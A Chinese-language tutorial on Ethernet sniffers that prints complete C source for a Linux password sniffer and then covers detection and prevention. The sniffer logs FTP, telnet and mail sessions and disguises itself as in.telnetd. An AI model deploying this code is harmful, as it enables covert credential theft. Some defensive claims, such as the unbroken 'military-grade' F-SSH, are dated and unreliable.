Sniffer是一種常用的收集有用數據方法，這些數據可以是用戶的帳號和密碼，可以是一些商用機密數據等等。為了對sniffer的工作原理有一個深入的了解，第二節給出了一個sniffer的源程序，并對它進行講解。最后的第三節是探測和防范sniffer的介紹。
第一節　Sniffer簡介
　什么是以太網sniffing?
　以太網sniffing 是指對以太網設備上傳送的數據包進行偵聽，發現感興趣的包。如果發現符合條件的包，就把它存到一個log文件中去。通常設置的這些條件是包含字"username"或"password"的包。
它的目的是將網絡層放到promiscuous模式，從而能干些事情。Promiscuous模式是指網絡上的所有設備都對總線上傳送的數據進行偵聽，并不僅僅是它們自己的數據。根據第二章中有關對以太網的工作原理的基本介紹，可以知道：一個設備要向某一目標發送數據時，它是對以太網進行廣播的。一個連到以太網總線上的設備在任何時間里都在接受數據。不過只是將屬于自己的數據傳給該計算機上的應用程序。
利用這一點，可以將一臺計算機的網絡連接設置為接受所有以太網總線上的數據，從而實現sniffer。
sniffer通常運行在路由器，或有路由器功能的主機上。這樣就能對大量的數據進行監控。sniffer屬第二層次的攻擊。通常是攻擊者已經進入了目標系統，然后使用sniffer這種攻擊手段，以便得到更多的信息。
sniffer除了能得到口令或用戶名外，還能得到更多的其他信息，比如一個其他重要的信息，在網上傳送的金融信息等等。sniffer幾乎能得到任何以太網上的傳送的數據包。
有許多運行與不同平臺上的sniffer程序。
Linux tcpdump、DOS ETHLOAD、The Gobbler、LanPatrol、LanWatch 、Netmon、Netwatch、Netzhack
上面的這些程序，可以從互連網上找到。
使用sniffer程序或編寫一個功能強大的sniffer程序需要一些網絡方面的知識。因為如果沒有恰當的設置這個程序，根本就不能從大量的數據中找出需要的信息。
通常sniffer程序只看一個數據包的前200-300個字節的數據，就能發現想口令和用戶名這樣的信息。
第二節　一個sniffer源程序
下面是一個Linux以太網sniffer的源程序。可以根據需要加強這個程序。
/* Linux sniffer.c 本程序已經在Red Hat 5.2上調試通過*/
#include < string.h>
#include < ctype.h>
#include < stdio.h>
#include < netdb.h>
#include < sys/file.h>
#include < sys/time.h>
#include < sys/socket.h>
#include < sys/ioctl.h>
#include < sys/signal.h>
#include < net/if.h>
#include < arpa/inet.h>
#include < netinet/in.h>
#include < netinet/ip.h>
#include < netinet/tcp.h>
#include < netinet/if_ether.h>
int openintf(char *);
int read_tcp(int);
int filter(void);
int print_header(void);
int print_data(int, char *);
char *hostlookup(unsigned long int);
void clear_victim(void);
void cleanup(int);
struct etherpacket
{
struct ethhdr eth;
struct iphdr ip;
struct tcphdr tcp;
char buff[8192];
}ep;
struct
{
unsigned long saddr;
unsigned long daddr;
unsigned short sport;
unsigned short dport;
int bytes_read;
char active;
time_t start_time;
} victim;
struct iphdr *ip;
struct tcphdr *tcp;
int s;
FILE *fp;
#define CAPTLEN 512
#define TIMEOUT 30
#define TCPLOG "tcp.log"
int openintf(char *d)
{
int fd;
struct ifreq ifr;
int s;
fd=socket(AF_INET, SOCK_PACKET, htons(0x800));
if(fd < 0)
{
perror("cant get SOCK_PACKET socket");
exit(0);
}
strcpy(ifr.ifr_name, d);
s=ioctl(fd, SIOCGIFFLAGS, &ifr);
if(s < 0)
{
close(fd);
perror("cant get flags");
exit(0);
}
ifr.ifr_flags |= IFF_PROMISC;
s=ioctl(fd, SIOCSIFFLAGS, &ifr);
if(s < 0) perror("can not set promiscuous mode");
return fd;
}
int read_tcp(int s)
{
int x;
while(1)
{
x=read(s, (struct etherpacket *)&ep, sizeof(ep));
if(x > 1)
{
if(filter()==0) continue;
x=x-54;
if(x < 1) continue;
return x;
}
}
}
int filter(void)
{
int p;
p=0;
if(ip->protocol != 6) return 0;
if(victim.active != 0)
if(victim.bytes_read > CAPTLEN)
{
fprintf(fp, "\n----- [CAPLEN Exceeded]\n");
clear_victim();
return 0;
}
if(victim.active != 0)
if(time(NULL) > (victim.start_time + TIMEOUT))
{
fprintf(fp, "\n----- [Timed Out]\n");
clear_victim();
return 0;
}
if(ntohs(tcp->dest)==21) p=1; /* ftp */
if(ntohs(tcp->dest)==23) p=1; /* telnet */
if(ntohs(tcp->dest)==110) p=1; /* pop3 */
if(ntohs(tcp->dest)==109) p=1; /* pop2 */
if(ntohs(tcp->dest)==143) p=1; /* imap2 */
if(ntohs(tcp->dest)==513) p=1; /* rlogin */
if(ntohs(tcp->dest)==106) p=1; /* poppasswd */
if(victim.active == 0)
if(p == 1)
if(tcp->syn == 1)
{
victim.saddr=ip->saddr;
victim.daddr=ip->daddr;
victim.active=1;
victim.sport=tcp->source;
victim.dport=tcp->dest;
victim.bytes_read=0;
victim.start_time=time(NULL);
print_header();
}
if(tcp->dest != victim.dport) return 0;
if(tcp->source != victim.sport) return 0;
if(ip->saddr != victim.saddr) return 0;
if(ip->daddr != victim.daddr) return 0;
if(tcp->rst == 1)
{
victim.active=0;
alarm(0);
fprintf(fp, "\n----- [RST]\n");
clear_victim();
return 0;
}
if(tcp->fin == 1)
{
victim.active=0;
alarm(0);
fprintf(fp, "\n----- [FIN]\n");
clear_victim();
return 0;
}
return 1;
}
int print_header(void)
{
fprintf(fp, "\n");
fprintf(fp, "%s => ", hostlookup(ip->saddr));
fprintf(fp, "%s [%d]\n", hostlookup(ip->daddr), ntohs(tcp->dest));
}
int print_data(int datalen, char *data)
{
int i=0;
int t=0;
victim.bytes_read=victim.bytes_read+datalen;
for(i=0;i != datalen;i++)
{
if(data[i] == 13) { fprintf(fp, "\n"); t=0; }
if(isprint(data[i])) {fprintf(fp, "%c", data[i]);t++;}
if(t > 75) {t=0;fprintf(fp, "\n");}
}
}
main(int argc, char **argv)
{
sprintf(argv[0],"%s","in.telnetd");
s=openintf("eth0");
ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);
tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);
signal(SIGHUP, SIG_IGN);
signal(SIGINT, cleanup);
signal(SIGTERM, cleanup);
signal(SIGKILL, cleanup);
signal(SIGQUIT, cleanup);
if(argc == 2) fp=stdout;
else fp=fopen(TCPLOG, "at");
if(fp == NULL) { fprintf(stderr, "cant open log\n");exit(0);}
clear_victim();
for(;;)
{
read_tcp(s);
if(victim.active != 0) print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2);
fflush(fp);
}
}
char *hostlookup(unsigned long int in)
{
static char blah[1024];
struct in_addr i;
struct hostent * he;
i.s_addr=in;
he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET);
if(he == NULL)
strcpy(blah, inet_ntoa(i));
else
strcpy(blah,he->h_name);
return blah;
}
void clear_victim(void)
{
victim.saddr=0;
victim.daddr=0;
victim.sport=0;
victim.dport=0;
victim.active=0;
victim.bytes_read=0;
victim.start_time=0;
}
void cleanup(int sig)
{
fprintf(fp, "Exiting...\n");
close(s);
fclose(fp);
exit(0);
}
下面對上面的程序作一個介紹。結構etherpacket定義了一個數據包。其中的ethhdr，iphdr，和tcphdr分別是三個結構，用來定義以太網幀，IP數據包頭和TCP數據包頭的格式。
它們在頭文件中的定義如下：
struct ethhdr
{
unsigned char h_dest[ETH_ALEN]; /* destination eth addr */
unsigned char h_source[ETH_ALEN]; /* source ether addr */
unsigned short h_proto; /* packet type ID field */
};
struct iphdr
{
#if __BYTE_ORDER == __LITTLE_ENDIAN
u_int8_t ihl:4;
u_int8_t version:4;
#elif __BYTE_ORDER == __BIG_ENDIAN
u_int8_t version:4;
u_int8_t ihl:4;
#else
#error "Please fix < bytesex.h>"
#endif
u_int8_t tos;
u_int16_t tot_len;
u_int16_t id;
u_int16_t frag_off;
u_int8_t ttl;
u_int8_t protocol;
u_int16_t check;
u_int32_t saddr;
u_int32_t daddr;
/*The options start here. */
};
struct tcphdr
{
u_int16_t source;
u_int16_t dest;
u_int32_t seq;
u_int32_t ack_seq;
#if __BYTE_ORDER == __LITTLE_ENDIAN
u_int16_t res1:4;
u_int16_t doff:4;
u_int16_t fin:1;
u_int16_t syn:1;
u_int16_t rst:1;
u_int16_t psh:1;
u_int16_t ack:1;
u_int16_t urg:1;
u_int16_t res2:2;
#elif __BYTE_ORDER == __BIG_ENDIAN
u_int16_t doff:4;
u_int16_t res1:4;
u_int16_t res2:2;
u_int16_t urg:1;
u_int16_t ack:1;
u_int16_t psh:1;
u_int16_t rst:1;
u_int16_t syn:1;
u_int16_t fin:1;
#else
#error "Adjust your < bits/endian.h> defines"
#endif
u_int16_t window;
u_int16_t check;
u_int16_t urg_ptr;
};
上述結構的具體含義可參見《TCP/IP協議簡介》一章中的相關內容。接下來，定義了一個結構變量victim。
隨后，看一下函數int openintf(char *d)，它的作用是打開一個網絡接口。在main中是將eth0作為參數來調用這個函數。在這個函數中，用到了下面的結構：
struct ifreq
{
#define IFHWADDRLEN 6
#define IFNAMSIZ 16
union
{
char ifrn_name[IFNAMSIZ]; /* Interface name, e.g. "en0". */
} ifr_ifrn;
union
{
struct sockaddr ifru_addr;
struct sockaddr ifru_dstaddr;
struct sockaddr ifru_broadaddr;
struct sockaddr ifru_netmask;
struct sockaddr ifru_hwaddr;
short int ifru_flags;
int ifru_ivalue;
int ifru_mtu;
struct ifmap ifru_map;
char ifru_slave[IFNAMSIZ]; /* Just fits the size */
__caddr_t ifru_data;
} ifr_ifru;
};
這個結構叫接口請求結構，用來調用在I/O輸入輸出時使用。所有的接口I/O輸出必須有一個參數，這個參數以ifr_name開頭，后面的參數根據使用不同的網絡接口而不同。
如果你要看看你的計算機有哪些網絡接口，使用命令ifconfig即可。一般你會看到兩個接口lo0和eth0。在ifreq結構中的各個域的含義與ifconfig的輸出是一一對應的。在這里，程序將eth0作為ifr_name來使用的。接著，該函數將這個網絡接口設置成promiscuous模式。請記住，sniffer是工作在這種模式下的。
再看一下函數read_tcp，它的作用是讀取TCP數據包，傳給filter處理。Filter函數是對上述讀取的數據包進行處理。
接下來的程序是將數據輸出到文件中去。
函數clearup是在程序退出等事件時，在文件中作個記錄，并關閉文件。否則，你剛才做的記錄都沒了。
第三節　怎樣在一個網絡上發現一個sniffer
簡單的一個回答是你發現不了。因為他們根本就沒有留下任何痕跡。
只有一個辦法是看看計算機上當前正在運行的所有程序。但這通常并不可靠，但你可以控制哪個程序可以在你的計算機上運行。
在Unix系統下使用下面的命令：
ps -aux
或：
ps -augx
這個命令列出當前的所有進程，啟動這些進程的用戶，它們占用CPU的時間，占用內存的多少等等。在Windows系統下，按下Ctrl+Alt+Del，看一下任務列表。不過，編程技巧高的Sniffer即使正在運行，也不會出現在這里的。另一個方法就是在系統中搜索，查找可懷疑的文件。但可能入侵者用的是他們自己寫的程序，所以都給發現sniffer造成相當的困難。
還有許多工具，能用來看看你的系統會不會在promiscuous模式。從而發現是否有一個sniffer正在運行。
怎樣防止被sniffer
要防止sniffer并不困難，有許多可以選用的方法。但關鍵是都要有開銷。所以問題在于你是否舍得開銷。
你最關心的可能是傳輸一些比較敏感的數據，如用戶ID或口令等等。有些數據是沒有經過處理的，一旦被sniffer，就能獲得這些信息。解決這些問題的辦法是加密。
加密
我們介紹以下SSH，它又叫Secure Shell。SSH是一個在應用程序中提供安全通信的協議。它是建立在客戶機/服務器模型上的。SSH服務器的分配的端口是22。連接是通過使用一種來自RSA的算法建立的。在授權完成后，接下來的通信數據是用IDEA技術來加密的。這通常是較強的 ，適合與任何非秘密和非經典的通訊。
SSH后來發展成為F-SSH，提供了高層次的，軍方級別的對通信過程的加密。它為通過TCP/IP網絡通信提供了通用的最強的加密。
如果某個站點使用F-SSH，用戶名和口令成為不是很重要的一點。目前，還沒有人突破過這種加密方法。即使是sniffer，收集到的信息將不再有價值。當然最關鍵的是怎樣使用它。
SSH和F-SSH都有商業或自由軟件版本存在。NT are available.
還有其他的方法嗎？
另一個比較容易接受的是使用安全拓撲結構。這聽上去很簡單，但實現是很花錢的。
玩過一種智力游戲嗎，它通常有一系列數字組成。游戲的目的是要安排好數字，用最少的步驟，把它們按遞減順序排好。當處理網絡拓撲時，就和玩這個游戲一樣。
下面是一些規則：
一個網絡段必須有足夠的理由才能信任另一網絡段。網絡段應該考慮你的數據之間的信任關系上來設計，而不是硬件需要。
這就建立了，讓我們來看看。第一點：一個網絡段是僅由能互相信任的計算機組成的。通常它們在同一個房間里，或在同一個辦公室里。比如你的財務信息，應該固定在建筑的一部分。
注意每臺機器是通過硬連接線接到Hub的。Hub再接到交換機上。由于網絡分段了，數據包只能在這個網段上別sniffer。其余的網段將不可能被sniffer。
所有的問題都歸結到信任上面。計算機為了和其他計算機進行通信，它就必須信任那臺計算機。作為系統管理員，你的工作是決定一個方法，使得計算機之間的信任關系很小。這樣，就建立了一種框架，你告訴你什么時候放置了一個sniffer，它放在那里了，是誰放的等等。
如果你的局域網要和INTERNET相連，僅僅使用防火墻是不夠的。入侵者已經能從一個防火墻后面掃描，并探測正在運行的服務。你要關心的是一旦入侵者進入系統，他能得到些什么。你必須考慮一條這樣的路徑，即信任關系有多長。舉個例子，假設你的WEB服務器對某一計算機A是信任的。那么有多少計算機是A信任的呢。又有多少計算機是受這些計算機信任的呢？用一句話，就是確定最小信任關系的那臺計算機。在信任關系中，這臺計算機之前的任何一臺計算機都可能對你的計算機進行攻擊，并成功。你的任務就是保證一旦出現的sniffer，它只對最小范圍有效。
Sniffer往往是攻擊者在侵入系統后使用的，用來收集有用的信息。因此，防止系統被突破是關鍵。系統安全管理員要定期的對所管理的網絡進行安全測試，防止安全隱患。同時要控制擁有相當權限的用戶的數量。請記住，許多攻擊往往來自網絡內部。